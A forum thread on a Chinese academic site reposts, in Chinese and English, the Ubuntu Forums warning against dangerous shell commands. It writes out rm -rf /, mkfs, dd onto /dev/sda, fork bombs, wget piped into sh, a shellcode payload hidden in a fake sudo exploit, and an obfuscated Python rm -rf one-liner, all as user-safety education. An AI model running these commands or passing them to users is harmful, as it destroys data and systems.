 |
 |
 |
 |
 |
 |
||
 |
 |
 |
 |
 |
| 2 | 1/1 | 返回列表 |
| 查看: 696 | 回復(fù): 1 | |||
| 當(dāng)前主題已經(jīng)存檔。 | |||
dnp榮譽(yù)版主 (知名作家)
小木蟲浪子
|
[交流]
[轉(zhuǎn)貼]請不要執(zhí)行如下類似命令--Ubuntu危險(xiǎn)命令
|
||
|
最近ubuntu官方論壇發(fā)出了官方通告, 列出下列危險(xiǎn)命令, 告誡用戶不要執(zhí)行, 并對隨意張貼下列命令的帳號處以直接封號的處罰. 再次聲明, 請不要執(zhí)行下列或類似下列的命令, 這些命令將會對你的計(jì)算機(jī)造成嚴(yán)重影響. 請不要以什么給普通用戶教訓(xùn)來提高他們的安全意識等等托詞來為自己不懷好意的行為作為借口! http://ubuntuforums.org/announcement.php?a=54 Delete all files, delete current directory, and delete visible files in current directory. It's quite obvious why these commands can be dangerous to execute. 下列命令會刪除所有文件, 刪除當(dāng)前目錄, 刪除當(dāng)前目錄下面的文件. 代碼: rm -rf / rm -rf . rm -rf * Reformat: Data on device mentioned after the mkfs command will be destroyed and replaced with a blank filesystem. 下列命令會摧毀整個(gè)文件系統(tǒng), 重建分區(qū). 代碼: mkfs mkfs.ext3 mkfs.anything Block device manipulation: Causes raw data to be written to a block device. Often times this will clobber the filesystem and cause total loss of data: 下列命令會清空整個(gè)硬盤. 代碼: any_command > /dev/sda dd if=something of=/dev/sda Forkbomb: Executes a huge number of processes until system freezes, forcing you to do a hard reset which may cause corruption, data damage, or other awful fates. In Bourne-ish shells, like Bash: (This thing looks really intriguing and curiousity provokes) 下列命令會啟動大量進(jìn)程, 導(dǎo)致系統(tǒng)無法響應(yīng), 只能硬重啟機(jī)器, 可能會導(dǎo)致數(shù)據(jù)損害. 代碼:  ){:|:&};:In Perl 代碼: fork while fork Tarbomb: Someone asks you to extract a tar archive into an existing directory. This tar archive can be crafted to explode into a million files, or inject files into the system by guessing filenames. You should make the habit of decompressing tars inside a cleanly made directory Decompression bomb: Someone asks you to extract an archive which appears to be a small download. In reality it's highly compressed data and will inflate to hundreds of GB's, filling your hard drive. You should not touch data from an untrusted source Shellscript: Someone gives you the link to a shellscript to execute. This can contain any command he chooses -- benign or malevolent. Do not execute code from people you don't trust 不要執(zhí)行你不信任的人提供的shell腳本, 里面可能含有危險(xiǎn)的命令和腳本, 不要隨意解壓別人提供的壓縮包, 也許看起來很小, 結(jié)果解壓出來會塞滿整個(gè)硬盤. 代碼: wget http://some_place/some_file sh ./some_file 代碼: wget http://some_place/some_file -O- | sh Compiling code: Someone gives you source code then tells you to compile it. It is easy to hide malicious code as a part of a large wad of source code, and source code gives the attacker a lot more creativity for disguising malicious payloads. Do not compile OR execute the compiled code unless the source is of some well-known application, obtained from a reputable site (i.e. SourceForge, the author's homepage, an Ubuntu address). A famous example of this surfaced on a mailing list disguised as a proof of concept sudo exploit claiming that if you run it, sudo grants you root without a shell. In it was this payload: 不要編譯運(yùn)行別人提供的不明代碼 代碼: char esp[] __attribute__ ((section(".text"  )) /* e.s.prelease */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;"; To the new or even lightly experienced computer user, this looks like the "hex code gibberish stuff" that is so typical of a safe proof-of-concept. However, this actually runs rm -rf ~ / & which will destroy your home directory as a regular user, or all files as root. If you could see this command in the hex string, then you don't need to be reading this announcement. Otherwise, remember that these things can come in very novel forms -- watch out. Again, recall these are not at all comprehensive and you should not use this as a checklist to determine if a command is dangerous or not! For example, 30 seconds in Python yields something like this: 代碼: python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))' Where "sn!.sg!+" is simply rm -rf * shifted a character up. Of course this is a silly example -- I wouldn't expect anyone to be foolish enough to paste this monstrous thing into their terminal without suspecting something might be wrong. |
回復(fù)此樓» 猜你喜歡
2026年循環(huán)經(jīng)濟(jì)功能材料國際會議（ICFMCE 2026）
已經(jīng)有0人回復(fù)
-
2026年第五屆電氣、電子與信息工程國際會議（ISEEIE 2026）
已經(jīng)有0人回復(fù)
-
物理學(xué)I論文潤色/翻譯怎么收費(fèi)?
已經(jīng)有139人回復(fù)
-
哈爾濱理工大學(xué)物理系招收物理學(xué)考研調(diào)劑
已經(jīng)有5人回復(fù)
-
0702一志愿吉大B區(qū)求調(diào)劑
已經(jīng)有5人回復(fù)
-
求調(diào)劑
已經(jīng)有0人回復(fù)
-
0702一志愿吉大B區(qū)求調(diào)劑有論文
已經(jīng)有0人回復(fù)
-
請問還有沒有用Latex寫文章的小伙伴們？
已經(jīng)有0人回復(fù)
-
光學(xué)工程學(xué)碩調(diào)劑信息
已經(jīng)有27人回復(fù)
-
歡迎加入課題組
已經(jīng)有0人回復(fù)
-
散金幣，求好運(yùn)，祝面上順利！
已經(jīng)有43人回復(fù)
dnp
榮譽(yù)版主 (知名作家)
小木蟲浪子
- 應(yīng)助: 74 (初中生)
- 貴賓: 18.476
- 金幣: 18843.9
- 散金: 2040
- 紅花: 77
- 沙發(fā): 6
- 帖子: 7316
- 在線: 597.8小時(shí)
- 蟲號: 437184
- 注冊: 2007-08-26
- 性別: GG
- 專業(yè): 生物信息學(xué)
- 管轄: 有機(jī)交流
2樓2007-12-12 21:52:48
相關(guān)版塊跳轉(zhuǎn)
我要訂閱樓主 dnp 的主題更新
| 2 | 1/1 | 返回列表 |
| 最具人氣熱帖推薦 [查看全部] | 作者 | 回/看 | 最后發(fā)表 | |
|---|---|---|---|---|
|
[考研] 298-一志愿中國農(nóng)業(yè)大學(xué)-求調(diào)劑 +4 | 手機(jī)用戶 2026-03-17 | 4/200 |
|
|---|---|---|---|---|
|
[教師之家] 焦慮 +8 | 水冰月月野兔 2026-03-13 | 10/500 |
|
|
|
[考研] 268求調(diào)劑 +6 | 簡單點(diǎn)0 2026-03-17 | 6/300 |
|
|
|
[考研] 328求調(diào)劑，英語六級551，有科研經(jīng)歷 +3 | 生物工程調(diào)劑 2026-03-16 | 8/400 |
|
|
|
[考研] 268求調(diào)劑 +8 | 一定有學(xué)上- 2026-03-14 | 9/450 |
|
|
|
[考研] 308求調(diào)劑 +4 | 是Lupa啊 2026-03-16 | 4/200 |
|
|
|
[考研] 290求調(diào)劑 +3 | p asserby. 2026-03-15 | 4/200 |
|
|
|
[考研]
 11408 一志愿西電，277分求調(diào)劑
+3
|
zhouzhen654 2026-03-16 | 3/150 |
|
|
|
[考研] 東南大學(xué)364求調(diào)劑 +5 | JasonYuiui 2026-03-15 | 5/250 |
|
|
|
[基金申請] 國自科面上基金字體 +6 | iwuli 2026-03-12 | 7/350 |
|
|
|
[考研] 0854控制工程 359求調(diào)劑 可跨專業(yè) +3 | 626776879 2026-03-14 | 9/450 |
|
|
|
[考研] 化學(xué)調(diào)劑0703 +8 | 啊我我的 2026-03-11 | 8/400 |
|
|
|
[考研] 326求調(diào)劑 +4 | 諾貝爾化學(xué)獎(jiǎng)覬?/a> 2026-03-15 | 7/350 |
|
|
|
[考研] 0856求調(diào)劑 +3 | 劉夢微 2026-03-15 | 3/150 |
|
|
|
[考研] 289求調(diào)劑 +4 | 這么名字咋樣 2026-03-14 | 6/300 |
|
|
|
[考研] 復(fù)試調(diào)劑 +3 | 呼呼？~+123456 2026-03-14 | 3/150 |
|
|
|
[考研] 求材料調(diào)劑 085600英一數(shù)二總分302 前三科235 精通機(jī)器學(xué)習(xí) 一志愿哈工大 +4 | 林yaxin 2026-03-12 | 4/200 |
|
|
|
[考研] 281求調(diào)劑 +9 | Koxui 2026-03-12 | 11/550 |
|
|
|
[考研] 工科材料085601 279求調(diào)劑 +8 | 困于星晨 2026-03-12 | 10/500 |
|
|
|
[考研] 070303一志愿西北大學(xué)學(xué)碩310找調(diào)劑 +3 | d如愿上岸 2026-03-13 | 3/150 |
|